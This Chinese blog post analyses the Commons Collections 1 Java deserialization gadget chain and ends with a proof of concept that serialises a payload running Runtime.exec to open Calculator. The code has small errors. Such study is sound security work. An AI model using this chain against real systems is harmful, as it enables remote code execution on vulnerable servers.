<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CommonCollections1 Gadget分析

    上官雨寶2022-07-14 15:03:00

    CommonCollections1 Gadget分析

    環境

    JDK1.7

    Idea 2020.1

    Apache CommonCollections V3.1

    Idea默認版本Maven

    Gadget Chains

    將Gadget Chains分片分析,“=”下為迭代鏈,“=”上為利用鏈。

    ObjectInputStream.readObject()
                AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()
                        AnnotationInvocationHandler.invoke()
                            LazyMap.get()
    ====================================================================
                                ChainedTransformer.transform()
                                    ConstantTransformer.transform()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Class.getMethod()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.getRuntime()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.exec()
    

    Gadget Chains 1(迭代鏈)

    將迭代鏈再分片,“=”下為其具體實現,“=”為其前置條件。

     ChainedTransformer.transform()
           ConstantTransformer.transform()
               InvokerTransformer.transform()
                     Method.invoke()
                        Class.getMethod()
                          InvokerTransformer.transform()
                              Method.invoke()
                               Runtime.getRuntime()   ===================================================================    
                               Runtime.getRuntime()
                                    InvokerTransformer.transform()
                                        Method.invoke() 
                                            Runtime.exec()
    

    具體實現

    InvokerTransformer

    InvokerTransformer#transform方法通過反射調用構造方法中傳入的方法。

    據InvokerTransformer類的構造方法和transform方法源碼,可給出具體實現部分代碼,“=”下為transform方法注釋。

    Runtime rt = Runtime.getRuntime();
    InvokerTransformer transformer = InvokerTransformer
    ("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});
    transformer.transform(rt);
    ======================================================
    //Runtime rt = Runtime.getRuntime();
    //Class clazz = rt.getClass();
    //Method method = clazz.getMethod("exec",String.class);
    //method.invoke(rt,"open /Users/lixq/Desktop/1.txt");
    

    前置條件

    ChainedTransformer.transform()
           ConstantTransformer.transform()
               InvokerTransformer.transform()
                     Method.invoke()
                        Class.getMethod()
                          InvokerTransformer.transform()
                              Method.invoke()
                               Runtime.getRuntime()
    

    通過給出的Gadget Chains 1可知前置部分通過多次transform方法執行Runtime.getRuntime方法獲取Runtime實例,由下而上逆推可得到前置部分實現代碼。

    由于Runtime類未繼承Serializable故其不能直接反序列化,需要通過反射來一步步獲取一個Runtime實例。為便于理解,下面先給出具體邏輯實現代碼。

    Class clazz = Class.forName("java.lang.Runtime");
    Class clsClazz = clazz.getClass();
    Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);
    Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});
    Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);
    Object o2 = m2.invoke(o1,new Object[]{null,null});
    System.out.println(o1);
    System.out.println(o2);
    

    使用Transformer迭代鏈實現之,具體如下。

    ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
    Object clsObj = constantTransformer.transform(1);
    InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",
                    new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime",new Class[0]}
            );
    Object getMethodObj = invokerTransformer1.transform(clsObj);
    System.out.println(getMethodObj);
    InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",
                    new Class[]{Object.class,Object[].class},
                    new Object[]{null,null});
    Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);
    System.out.println(getRuntimeObj);
    

    逐語句分析,ConstantTransformer#transformer會返回傳入對象本身即Runtime的類對象。

    invokerTransformer1.transform返回Runtime.getRuntime方法的Method對象。

    invokerTransformer2.transform通過反射調用Method.invoke方法即調用getRumtime這個Method對象invoke方法返回一個Runtime對象。

    迭代鏈實現

    迭代鏈中用到的三個tranform方法:

    1.InvokerTransformer.transform():在具體實現中已經給出其實現方法。

    2.ConstanTransformer.transform():返回傳入對象本身,在前置條件中已給出其實現方法。

    3.ChainedTransformer.transform():此方法實現了對每個傳入的transformer都調用其transform方法,并將結果作為下一次的輸入傳遞進去。

    綜合前置條件和具體實現迭代鏈的最終實現代碼和執行結果。

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})
            });
    chainedTransformer.transform(1);
    

    Gadget Chains 2(利用鏈)

    ObjectInputStream.readObject()
                AnnotationInvocationHandler.readObject()
                    Map(Proxy).entrySet()
                        AnnotationInvocationHandler.invoke()
                            LazyMap.get()
    

    由后至前分析,LazyMap.get():當傳入的key不存在時執行this.factory.transform,若此時傳入的this.factory為構造好的迭代鏈chainedTransformer則可執行系統命令。

    由于LazyMap的構造方法使用protected修飾,故無法直接new一個LazyMap的實例對象,但其提供了decorate方法來實例化一個LazyMap對象。

    此時可完成構造利用鏈的第一步,如下。

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})
            });
    chainedTransformer.transform(1);
    Hashmap map = new HashMap();
    LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);
    lazyMap.get(1);
    

    繼而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是處理注解的類,構造該類需要提供兩個參數,一個是Annotation類,一個是Map對象,此類未使用public修飾只能通過反射創建實例。

    AnnotationInvocationHandler.invoke:關注代碼注釋部分,它執行了this.memberValues.get(var4),this.membrtValues等于構造方法中的var2也就是當構造方法中傳入的var2為LazyMap對象時會執行LazyMap.get方法。

    public Object invoke(Object var1, Method var2, Object[] var3) {
            String var4 = var2.getName();
            Class[] var5 = var2.getParameterTypes();
            if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
                return this.equalsImpl(var3[0]);
            } else if (var5.length != 0) {
                throw new AssertionError("Too many parameters for an annotation method");
            } else {
                byte var7 = -1;
                switch(var4.hashCode()) {
                case -1776922004:
                    if (var4.equals("toString")) {
                        var7 = 0;
                    }
                    break;
                case 147696667:
                    if (var4.equals("hashCode")) {
                        var7 = 1;
                    }
                    break;
                case 1444986633:
                    if (var4.equals("annotationType")) {
                        var7 = 2;
                    }
                }
                switch(var7) {
                case 0:
                    return this.toStringImpl();
                case 1:
                    return this.hashCodeImpl();
                case 2:
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
                        return var6;
                    }
                }
            }
        }
    // default:
    //     Object var6 = this.memberValues.get(var4);
    

    通過動態代理來實現對AnnotationInvocationHandler.invoke方法的調用,先給出代理對象的生成方法注釋。

    Proxy.newProxyInstance(ClassLoader loader,
                           Class<?>[] interfaces,
                           InvocationHandler h);
    //Proxy類就是用來創建一個代理對象的類,它提供了很多方法,但最常用的是newProxyInstance方法。
    //InvocationHandler接口是proxy代理實例的調用處理程序實現的一個接口,每一個proxy代理實例都有一個關聯的調用處理程序;
    //在代理實例調用方法時,方法調用被分派到調用處理程序的invoke方法。
    //其相當于一種代碼增強,即在原先的方法邏輯上加上額外操作,在方法執行之前和之后加點通用邏輯,方便實現和維護。
    

    先看下

    AnnotationInvocationHandler.readObject()方法實現,this.memberValues是其構造方法中傳入的Map對象,當其是一個代理Map對象并執行this.memberValues.entrySet().iterator()時會調用memberValues對應InvocationHandler對象的invoke方法。

    綜上,可給出利用鏈實現代碼。

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
    objectOutputStream.writeObject(handler);
    objectOutputStream.close();
    

    POC

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.*;
    import java.util.HashMap;
    import java.util.Map;
    class CC1 {
        public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException 
        {
            //構造迭代鏈
             ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})
            });
            構造利用鏈
            HashMap map = new HashMap();
            map.put("11","22");
            LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
            Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
            //序列化
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
            objectOutputStream.writeObject(handler);
            objectOutputStream.close();
            //反序列化
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin"));
            inputStream.readObject();
         }
    }
    

    總結下CommonCollections1 反序列化執行惡意代碼過程:

    通過動態代理調用

    AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler對象構造時傳入LazyMap,在調用其invoke方法時會執行LazyMap.get(),構造LazyMap對象時傳入構造好的迭代鏈,執行LazyMap.get()時調用ChianedTransformer.transform(),最終執行系統命令。

    文章轉自公眾號: Tide安全團隊

    runtime
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    常規調試下watchpoint功能的受限及trace的低效是由于我們是使用軟件方式在用戶態進行操作,受到了CPU及操作系統的限制。但QEMU主要關注于仿真,對于安全分析來說并不友好。原因在于這個程序只是在控制臺打印了HelloWorld,并沒有涉及到JNI相關操作。Qiling的這種做法,以最小的成本保證了對各類各個版本的系統最大的適配性,并且也保證了程序運行狀態與真實環境差異較小。
    8月23日,Apache發布了Apache Portable Runtime 1.7.0版本存在越界讀取漏洞的風險通告,該漏洞CVE編號:CVE-2021-35940。攻擊者可利用該漏洞讀取內存內容或執行拒絕服務攻擊。建議受影響用戶及時更新漏洞補丁進行防護,做好資產自查以及預防工作,以免遭受黑客攻擊。
    Falco 由 Sysdig 于 2016 年創建,是第一個作為孵化級項目加入 CNCF 的運行時安全項目。
    360漏洞云監測到 Apache Portable Runtime 1.7.0版本存在越界讀取漏洞(CVE-2021-35940)。
    收集內存馬打入方式
    2023-05-29 09:42:33
    收集內存馬打入方式
    java版本: java version "1.8.0_131" Java(TM) SE Runtime Environment (build 1.8.0_131-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
    過去十年來,最有可能實現的應用安全解決方案之一可能要屬應用運行時的自我防護機制(runtime application self-protection, RASP)。今年,RASP進入了NIST800-53的最新版本中,作為關鍵控制的項目列表中的一員。 什...
    11月22日,研究人員在VirusTotal上發現了一個ZIP壓縮文件。經分析發現,ZIP文件包含一個帶有Adobe圖標的快捷方式文件(.lnk),以執行一種新型基于Java的遠控木馬,該遠控木馬隱藏在Java Runtime Environment(JRE)目錄中。由于該遠控木馬使用了名為“saw.chain"的包,研究人員將其命名為Saw RAT。該遠控木馬與C2服務器建立連接,從而使攻擊者向
    上官雨寶
    是水水水水是
      亚洲 欧美 自拍 唯美 另类